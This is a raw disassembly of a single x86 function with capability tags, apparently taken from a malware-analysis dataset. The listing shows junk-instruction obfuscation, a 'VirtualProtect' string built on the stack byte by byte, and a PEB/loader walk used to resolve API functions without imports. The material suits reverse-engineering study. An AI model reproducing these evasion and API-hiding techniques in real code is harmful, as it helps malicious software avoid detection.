Function at 0x4227c9
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
call 0x421b49
add byte [eax + 0x32], dl
dec ecx
aas
inc ebx
dec edx
dec ecx
dec edx
add esp, 4
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x422683
push edi
push ebx
add esp, 4
and edi, 0x1a72
or edi, 0x12996
and edi, 0x7464
or edi, 0xcd86
pop edi
push esi
sub esi, 0x12743
or esi, 0x5fa3
and esi, 0x9fd6
pop esi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push esi
push ebx
add esp, 4
and esi, 0x54ab
sub esi, 0xd7a0
sub esi, 0x941b
sub esi, 0x9ea2
pop esi
push esi
add esi, 0x14fb
add esi, 0x10890
and esi, 0x6d0c
pop esi
cmp dword [ebp - 0x3cc], 0
je 0x422708
cmp dword [ebp - 0xa5c], 0
jne 0x42274e
push ecx
sub ecx, 0x12e98
add ecx, 0x452f
xor ecx, 0xc38d
pop ecx
push eax
push ebx
add esp, 4
jmp 0x422727
and eax, 0x56d8
and eax, 0x60af
xor eax, 0xd225
pop eax
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edi
push edi
add esp, 4
xor edi, 0xe4ac
xor edi, 0x734f
call 0x422778
add byte [esi + 0x44], cl
dec esi
inc eax
dec edi
xor al, 0x3a
cmp eax, 0x4c48334
xor edi, 0x1d36
pop edi
push ebx
add ebx, 0xc366
pop ebx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
jmp 0x4227bb
call 0x4227c9
add byte [eax + 0x39], dl
xor al, 0x44
xor eax, 0x83364d32
les eax, [ecx + eax*4]
out 0x15, al
cmp byte [ecx], al
add byte [esi + 0x52], bl
push ebx
add esp, 4
jmp 0x4227e0
xor edx, 0x1da8
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
jmp 0x422859
add edi, 0xb37d
pop edi
push ebx
and ebx, 0xfad4
pop ebx
push edx
xor edx, 0x44f
and edx, 0x290
and edx, 0x50e7
xor edx, 0x160e4
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edx
add edx, 0x1416e
sub edx, 0x3c06
or edx, 0x5b74
pop edx
push eax
jmp 0x4228c6
pop eax
push ebx
push ebx
add esp, 4
jmp 0x4228d4
sub ebx, 0x4e1d
pop ebx
cmp dword [ebp - 0x150c], 0
jne 0x4228f3
mov dword [ebp - 0x2a8], 0
jmp 0x422b9a
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
or eax, 0x87b2
call 0x42291b
add byte [esi], dh
aas
dec ecx
aaa
cmp al, byte [ebx + 0x40]
inc esi
dec esp
add esp, 4
jmp 0x422925
call 0x422933
add byte [ebx], bh
inc esi
inc ecx
dec esp
inc esi
cmp dword [esi], esi
dec ecx
add esp, 4
pop eax
cmp dword [ebp - 0xc4c], 0
jne 0x42294f
mov dword [ebp - 0x2a8], 0
jmp 0x422b9a
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
sbb al, 0xfb
invalid
invalid